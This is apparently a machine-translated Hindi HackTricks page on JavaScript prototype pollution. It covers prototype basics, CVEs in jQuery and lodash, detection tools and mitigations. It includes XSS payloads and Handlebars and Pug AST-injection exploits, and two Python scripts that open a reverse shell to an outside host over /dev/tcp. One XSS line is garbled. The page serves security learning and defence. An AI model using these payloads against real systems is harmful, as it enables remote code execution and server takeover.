NodeJS - __proto__ & prototype Pollution

Reading time: 14 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

JavaScript में ऑब्जेक्ट्स

JavaScript में ऑब्जेक्ट्स मूल रूप से कुंजी-मूल्य जोड़ों का संग्रह होते हैं, जिन्हें गुण कहा जाता है। एक ऑब्जेक्ट को Object.create का उपयोग करके null को तर्क के रूप में देकर एक खाली ऑब्जेक्ट बनाया जा सकता है। यह विधि किसी भी विरासत में प्राप्त गुणों के बिना एक ऑब्जेक्ट बनाने की अनुमति देती है।

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

एक खाली ऑब्जेक्ट एक खाली शब्दकोश के समान है, जिसे {} के रूप में दर्शाया गया है।

JavaScript में फ़ंक्शन और क्लासेस

JavaScript में, क्लासेस और फ़ंक्शंस निकटता से जुड़े होते हैं, जहाँ फ़ंक्शंस अक्सर क्लासेस के लिए कंस्ट्रक्टर्स के रूप में कार्य करते हैं। JavaScript में मूलभूत क्लास समर्थन की कमी के बावजूद, कंस्ट्रक्टर्स क्लास व्यवहार का अनुकरण कर सकते हैं।

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

Prototypes in JavaScript

JavaScript रनटाइम पर प्रोटोटाइप विशेषताओं को संशोधित, जोड़ने या हटाने की अनुमति देता है। यह लचीलापन वर्ग कार्यक्षमताओं के गतिशील विस्तार को सक्षम बनाता है।

toString और valueOf जैसी फ़ंक्शन को उनके व्यवहार को बदलने के लिए संशोधित किया जा सकता है, जो JavaScript के प्रोटोटाइप सिस्टम की अनुकूलनीय प्रकृति को प्रदर्शित करता है।

Inheritance

प्रोटोटाइप-आधारित प्रोग्रामिंग में, गुण/विधियाँ वस्तुओं द्वारा वर्गों से विरासत में ली जाती हैं। ये वर्ग अन्य वर्ग के एक उदाहरण या एक खाली वस्तु में गुण/विधियाँ जोड़कर बनाए जाते हैं।

यह ध्यान रखना चाहिए कि जब एक गुण को एक वस्तु में जोड़ा जाता है जो अन्य वस्तुओं के लिए प्रोटोटाइप के रूप में कार्य करती है (जैसे myPersonObj), तो विरासत में ली गई वस्तुओं को इस नए गुण तक पहुँच मिलती है। हालाँकि, यह गुण स्वचालित रूप से प्रदर्शित नहीं होता जब तक कि इसे स्पष्ट रूप से नहीं बुलाया जाता।

__proto__ pollution

Exploring Prototype Pollution in JavaScript

JavaScript वस्तुएँ कुंजी-मूल्य जोड़ों द्वारा परिभाषित की जाती हैं और JavaScript ऑब्जेक्ट प्रोटोटाइप से विरासत में ली जाती हैं। इसका मतलब है कि ऑब्जेक्ट प्रोटोटाइप को संशोधित करने से वातावरण में सभी वस्तुओं पर प्रभाव पड़ सकता है।

आइए एक अलग उदाहरण का उपयोग करके इसे स्पष्ट करें:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

ऑब्जेक्ट प्रोटोटाइप तक पहुंच संभव है:

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Object प्रोटोटाइप में गुण जोड़कर, हर JavaScript ऑब्जेक्ट इन नए गुणों को विरासत में प्राप्त करेगा:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

prototype pollution

यदि __proto__ का उपयोग प्रतिबंधित है, तो एक फ़ंक्शन के प्रोटोटाइप को संशोधित करना एक विकल्प है:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

यह केवल Vehicle कंस्ट्रक्टर से बनाए गए ऑब्जेक्ट्स को प्रभावित करता है, उन्हें beep, hasWheels, honk, और isElectric प्रॉपर्टीज़ देता है।

प्रोटोटाइप प्रदूषण के माध्यम से JavaScript ऑब्जेक्ट्स को वैश्विक रूप से प्रभावित करने के दो तरीके हैं:

  1. Object.prototype को सीधे प्रदूषित करना:
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. सामान्य रूप से उपयोग किए जाने वाले ढांचे के लिए एक कंस्ट्रक्टर के प्रोटोटाइप को प्रदूषित करना:
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

इन ऑपरेशनों के बाद, हर JavaScript ऑब्जेक्ट goodbye और greet मेथड्स को निष्पादित कर सकता है।

अन्य ऑब्जेक्ट्स को प्रदूषित करना

एक क्लास से Object.prototype तक

एक परिदृश्य में जहाँ आप एक विशिष्ट ऑब्जेक्ट को प्रदूषित कर सकते हैं और आपको Object.prototype तक पहुँचने की आवश्यकता है, आप इसके लिए निम्नलिखित कोड की तरह कुछ खोज सकते हैं:

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Array elements pollution

ध्यान दें कि जैसे आप JS में ऑब्जेक्ट्स के गुणों को प्रदूषित कर सकते हैं, यदि आपके पास एक एरे को प्रदूषित करने की पहुंच है, तो आप एरे के मानों को भी प्रदूषित कर सकते हैं जो इंडेक्स द्वारा उपलब्ध हैं (ध्यान दें कि आप मानों को ओवरराइट नहीं कर सकते, इसलिए आपको उन इंडेक्स को प्रदूषित करना होगा जो किसी न किसी तरह से उपयोग किए जाते हैं लेकिन लिखे नहीं जाते)।

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html तत्वों का प्रदूषण

जब JS के माध्यम से एक HTML तत्व उत्पन्न किया जाता है, तो innerHTML विशेषता को ओवरराइट करना संभव है ताकि यह मनमाने HTML कोड को लिख सके। इस लेख से विचार और उदाहरण

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

उदाहरण

बुनियादी उदाहरण

एक प्रोटोटाइप प्रदूषण एक दोष के कारण होता है जो Object.prototype पर गुणों को ओवरराइट करने की अनुमति देता है। इसका मतलब है कि चूंकि अधिकांश वस्तुएं अपने गुणों को Object.prototype से प्राप्त करती हैं।

सबसे आसान उदाहरण यह है कि एक वस्तु के अनिर्धारित गुण में एक मान जोड़ा जाए जो जांचा जाने वाला है, जैसे:

javascript
if (user.admin) {

यदि विशेषता admin अपरिभाषित है तो एक PP का दुरुपयोग करना संभव है और इसे True पर सेट करना संभव है जैसे:

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

इस तंत्र के पीछे का तंत्र इस प्रकार है कि यदि एक हमलावर के पास कुछ इनपुट पर नियंत्रण है, तो वे एप्लिकेशन में सभी ऑब्जेक्ट्स के प्रोटोटाइप को संशोधित कर सकते हैं। यह हेरफेर आमतौर पर __proto__ प्रॉपर्टी को सेट करने में शामिल होता है, जो कि JavaScript में, एक ऑब्जेक्ट के प्रोटोटाइप को सीधे संशोधित करने के समान है।

इस हमले को सफलतापूर्वक निष्पादित करने की शर्तें, जैसा कि एक विशेष अध्ययन में वर्णित है, शामिल हैं:

  • एक पुनरावृत्त मर्ज करना।
  • एक पथ के आधार पर प्रॉपर्टीज को परिभाषित करना।
  • ऑब्जेक्ट्स को क्लोन करना।

Override function

python
customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

अन्य पेलोड:

Client-side prototype pollution to XSS

Client Side Prototype Pollution

CVE-2019–11358: Prototype pollution attack through jQuery $ .extend

For further details check this article jQuery में, $ .extend फ़ंक्शन प्रोटोटाइप प्रदूषण का कारण बन सकता है यदि गहरे कॉपी फ़ीचर का गलत उपयोग किया जाए। यह फ़ंक्शन आमतौर पर ऑब्जेक्ट्स को क्लोन करने या एक डिफ़ॉल्ट ऑब्जेक्ट से प्रॉपर्टीज़ को मर्ज करने के लिए उपयोग किया जाता है। हालाँकि, जब गलत कॉन्फ़िगर किया जाता है, तो नए ऑब्जेक्ट के लिए निर्धारित प्रॉपर्टीज़ को प्रोटोटाइप में असाइन किया जा सकता है। उदाहरण के लिए:

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

यह कमजोरियों, जिसे CVE-2019–11358 के रूप में पहचाना गया है, यह दर्शाता है कि कैसे एक गहरी कॉपी अनजाने में प्रोटोटाइप को संशोधित कर सकती है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं, जैसे कि यदि isAdmin जैसी प्रॉपर्टीज़ को उचित अस्तित्व सत्यापन के बिना जांचा जाता है तो अनधिकृत व्यवस्थापक पहुंच।

CVE-2018–3721, CVE-2019–10744: lodash के माध्यम से प्रोटोटाइप प्रदूषण हमला

अधिक जानकारी के लिए इस लेख की जांच करें

Lodash ने समान प्रोटोटाइप प्रदूषण कमजोरियों का सामना किया (CVE-2018–3721, CVE-2019–10744)। इन मुद्दों को संस्करण 4.17.11 में संबोधित किया गया था।

CVEs के साथ एक और ट्यूटोरियल

https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2

प्रोटोटाइप प्रदूषण का पता लगाने के लिए उपकरण

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: यह Burp Suite एक्सटेंशन वेब अनुप्रयोगों में सर्वर-साइड प्रोटोटाइप प्रदूषण कमजोरियों का पता लगाने और विश्लेषण करने के लिए डिज़ाइन किया गया है। यह उपकरण संभावित प्रोटोटाइप प्रदूषण मुद्दों की पहचान के लिए अनुरोधों को स्कैन करने की प्रक्रिया को स्वचालित करता है। यह ज्ञात गैजेट्स का लाभ उठाता है - प्रोटोटाइप प्रदूषण का उपयोग करके हानिकारक क्रियाएँ निष्पादित करने के तरीके - विशेष रूप से Node.js पुस्तकालयों पर ध्यान केंद्रित करता है।
  • server-side-prototype-pollution: यह एक्सटेंशन सर्वर साइड प्रोटोटाइप प्रदूषण कमजोरियों की पहचान करता है। यह सर्वर साइड प्रोटोटाइप प्रदूषण में वर्णित तकनीकों का उपयोग करता है।

NodeJS में AST प्रोटोटाइप प्रदूषण

NodeJS JavaScript में टेम्पलेट इंजनों और TypeScript जैसी कार्यक्षमताओं के लिए एब्स्ट्रैक्ट सिंटैक्स ट्री (AST) का व्यापक रूप से उपयोग करता है। यह अनुभाग टेम्पलेट इंजनों, विशेष रूप से Handlebars और Pug में प्रोटोटाइप प्रदूषण से संबंधित कमजोरियों का अन्वेषण करता है।

Handlebars कमजोरियों का विश्लेषण

Handlebars टेम्पलेट इंजन प्रोटोटाइप प्रदूषण हमले के प्रति संवेदनशील है। यह कमजोरी javascript-compiler.js फ़ाइल के भीतर विशिष्ट कार्यों से उत्पन्न होती है। उदाहरण के लिए, appendContent फ़ंक्शन pendingContent को जोड़ता है यदि यह मौजूद है, जबकि pushSource फ़ंक्शन स्रोत जोड़ने के बाद pendingContent को undefined पर रीसेट करता है।

शोषण प्रक्रिया

शोषण Handlebars द्वारा उत्पन्न AST (एब्स्ट्रैक्ट सिंटैक्स ट्री) का लाभ उठाता है, निम्नलिखित चरणों का पालन करते हुए:

  1. पार्सर का हेरफेर: प्रारंभ में, पार्सर, NumberLiteral नोड के माध्यम से, यह सुनिश्चित करता है कि मान संख्यात्मक हैं। प्रोटोटाइप प्रदूषण इसे दरकिनार कर सकता है, जिससे गैर-संख्यात्मक स्ट्रिंग्स को सम्मिलित करना संभव हो जाता है।
  2. कंपाइलर द्वारा हैंडलिंग: कंपाइलर एक AST ऑब्जेक्ट या एक स्ट्रिंग टेम्पलेट को संसाधित कर सकता है। यदि input.type Program के बराबर है, तो इनपुट को पूर्व-विश्लेषित के रूप में माना जाता है, जिसका लाभ उठाया जा सकता है।
  3. कोड का इंजेक्शन: Object.prototype के हेरफेर के माध्यम से, कोई भी टेम्पलेट फ़ंक्शन में मनमाना कोड इंजेक्ट कर सकता है, जो दूरस्थ कोड निष्पादन की ओर ले जा सकता है।

Handlebars की कमजोरी के शोषण को प्रदर्शित करने वाला एक उदाहरण:

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

यह कोड दिखाता है कि एक हमलावर कैसे एक हैंडलबार टेम्पलेट में मनमाना कोड इंजेक्ट कर सकता है।

बाहरी संदर्भ: 'flat' पुस्तकालय में प्रोटोटाइप प्रदूषण से संबंधित एक समस्या पाई गई, जैसा कि यहाँ विस्तृत किया गया है: Issue on GitHub.

बाहरी संदर्भ: Issue related to prototype pollution in the 'flat' library

Python में प्रोटोटाइप प्रदूषण शोषण का उदाहरण:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Vulnerability

Pug, एक और टेम्पलेट इंजन, प्रोटोटाइप प्रदूषण के समान जोखिम का सामना करता है। विस्तृत जानकारी AST Injection in Pug पर चर्चा में उपलब्ध है।

Example of prototype pollution in Pug:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

रोकथाम के उपाय

प्रोटोटाइप प्रदूषण के जोखिम को कम करने के लिए, नीचे सूचीबद्ध रणनीतियों का उपयोग किया जा सकता है:

  1. ऑब्जेक्ट अपरिवर्तनीयता: Object.prototype को Object.freeze लागू करके अपरिवर्तनीय बनाया जा सकता है।
  2. इनपुट मान्यता: JSON इनपुट को एप्लिकेशन के स्कीमा के खिलाफ सख्ती से मान्य किया जाना चाहिए।
  3. सुरक्षित मर्ज फ़ंक्शन: पुनरावर्ती मर्ज फ़ंक्शनों का असुरक्षित उपयोग से बचना चाहिए।
  4. प्रोटोटाइप-रहित ऑब्जेक्ट: प्रोटोटाइप गुणों के बिना ऑब्जेक्ट Object.create(null) का उपयोग करके बनाए जा सकते हैं।
  5. मैप का उपयोग: कुंजी-मूल्य जोड़ों को संग्रहीत करने के लिए Object के बजाय Map का उपयोग किया जाना चाहिए।
  6. लाइब्रेरी अपडेट: नियमित रूप से लाइब्रेरी को अपडेट करके सुरक्षा पैच को शामिल किया जा सकता है।
  7. लिंटर और स्थैतिक विश्लेषण उपकरण: प्रोटोटाइप प्रदूषण कमजोरियों का पता लगाने और रोकने के लिए उपयुक्त प्लगइन्स के साथ ESLint जैसे उपकरणों का उपयोग करें।
  8. कोड समीक्षाएँ: प्रोटोटाइप प्रदूषण से संबंधित संभावित जोखिमों की पहचान और सुधार के लिए गहन कोड समीक्षाओं को लागू करें।
  9. सुरक्षा प्रशिक्षण: डेवलपर्स को प्रोटोटाइप प्रदूषण के जोखिमों और सुरक्षित कोड लिखने के सर्वोत्तम प्रथाओं के बारे में शिक्षित करें।
  10. लाइब्रेरी का सावधानी से उपयोग: तृतीय-पक्ष लाइब्रेरी का उपयोग करते समय सावधानी बरतें। उनकी सुरक्षा स्थिति का आकलन करें और उनके कोड की समीक्षा करें, विशेष रूप से जो ऑब्जेक्ट को संशोधित करते हैं।
  11. रनटाइम सुरक्षा: प्रोटोटाइप प्रदूषण हमलों का पता लगाने और रोकने के लिए सुरक्षा-केंद्रित npm पैकेज का उपयोग करके रनटाइम सुरक्षा तंत्र लागू करें।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें